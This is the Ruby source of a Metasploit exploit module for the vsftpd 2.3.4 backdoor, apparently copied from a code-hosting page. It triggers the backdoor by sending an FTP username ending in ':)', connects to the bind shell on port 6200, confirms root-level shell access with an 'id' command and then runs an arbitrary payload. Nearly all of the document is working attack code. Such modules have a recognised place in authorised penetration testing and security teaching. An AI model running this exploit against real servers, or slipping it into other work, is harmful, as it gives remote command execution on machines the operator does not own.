114 lines
3.1 KiB
Ruby
114 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
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'Description' => %q{
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This module exploits a malicious backdoor that was added to the VSFTPD download
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archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
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June 30th 2011 and July 1st 2011 according to the most recent information
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available. This backdoor was removed on July 3rd 2011.
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},
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'Author' => [ 'hdm', 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '73573'],
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[ 'URL', 'http://pastebin.com/AetT9sS5'],
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[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
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],
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'Privileged' => true,
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find'
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}
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},
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DisclosureDate' => 'Jul 3 2011',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(21) ])
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end
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def exploit
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nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
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if nsock
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print_status("The port used by the backdoor bind listener is already open")
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handle_backdoor(nsock)
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return
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end
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# Connect to the FTP service port first
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connect
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banner = sock.get_once(-1, 30).to_s
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print_status("Banner: #{banner.strip}")
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sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
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resp = sock.get_once(-1, 30).to_s
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print_status("USER: #{resp.strip}")
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if resp =~ /^530 /
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print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
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disconnect
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return
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end
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if resp !~ /^331 /
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print_error("This server did not respond as expected: #{resp.strip}")
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disconnect
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return
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end
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sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
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# Do not bother reading the response from password, just try the backdoor
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nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
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if nsock
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print_good("Backdoor service has been spawned, handling...")
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handle_backdoor(nsock)
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return
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end
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disconnect
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end
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def handle_backdoor(s)
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s.put("id\n")
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r = s.get_once(-1, 5).to_s
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if r !~ /uid=/
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print_error("The service on port 6200 does not appear to be a shell")
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disconnect(s)
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return
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end
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print_good("UID: #{r.strip}")
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s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
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handler(s)
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end
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end
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